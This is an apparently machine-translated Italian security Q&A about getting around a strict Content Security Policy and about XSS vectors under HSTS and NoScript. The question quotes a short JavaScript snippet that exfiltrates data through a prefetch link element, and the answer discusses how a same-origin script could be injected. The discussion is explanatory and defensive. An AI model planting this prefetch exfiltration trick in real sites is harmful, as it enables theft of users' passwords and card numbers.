Vulnerabilità XSS con CSP rigoroso

Question

Vulnerabilità XSS con CSP rigoroso

#1 da (1 voti)

5

L'articolo I'm raccolta di numeri di carta di credito e password dal tuo sito. Ecco come. descrive le fasi di un attacco teorico in cui un utente malintenzionato può ignorare un CSP rigoroso ed estrarre informazioni sensibili. L'articolo afferma che questo script può aggirare CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Questo sfrutta il fatto che il comportamento di prefetch nello standard CSP è sottodimensionato. In Chrome, questo funziona, ma attualmente Firefox impedisce che ciò accada (il che potrebbe cambiare in seguito ai reclami degli utenti nella segnalazione di bug). L'articolo afferma che funziona anche con la politica di sicurezza più severa:

Content-Security-Policy: default-src 'none'; script-src 'self'

Che è vero perché non esiste attualmente un comportamento di fallback per prefetch . Tuttavia, la cosa non affrontata è che il codice dell'attaccante deve ancora essere iniettato (fuori linea) in qualche modo. L'articolo "Bypassare la politica di sicurezza dei contenuti con il prefetching DNS" suggerisce che ciò avvenga trovando altrove una vulnerabilità XSS.

Supponendo che il sito Web di destinazione utilizzi HSTS e che un utente che visita il sito Web utilizzi NoScript, come si presenta un vettore di attacco simile?

xss content-security-policy

posta user167921 08.01.2018 - 03:12

fonte

1 risposta

Leggi altre domande sui tag xss content-security-policy

Hash del kernel OS Lavorando su dati sensibili sul cloud

score 1 · Answer 1

L'HSTS è rilevante solo se preoccupato per un MITM (ad es., sul wifi pubblico), quindi il resto della mia risposta assumerà vettori remoti che funzionano con entrambi gli HST e senza.

Se un utente ha impostato NoScript per non eseguire alcun script, l'utente non verrà sfruttato da alcun XSS (poiché non è in corso lo scripting, non può esserci uno script tra siti).

Se NoScript sta permettendo script locali (ma forse li blocchi da una terza parte), allora sembrerebbe un qualsiasi altro vettore XSS. La maggior parte degli XSS risulta dalla possibilità di inserire script arbitrari in una pagina. Con il CSP elencato, diventa più difficile, in quanto l'utente malintenzionato dovrà procurarsi uno script dal dominio locale (poiché non sicuro-inline non è disponibile), ma ciò può verificarsi con un caricamento di file arbitrario sulla stessa origine.

In realtà, l'intera cosa riguarda più l'exfiltrazione dei dati oltre il CSP, e non il vettore di iniezione originale: molti vettori diversi consentirebbero l'esfiltrazione dei dati tramite prefetch.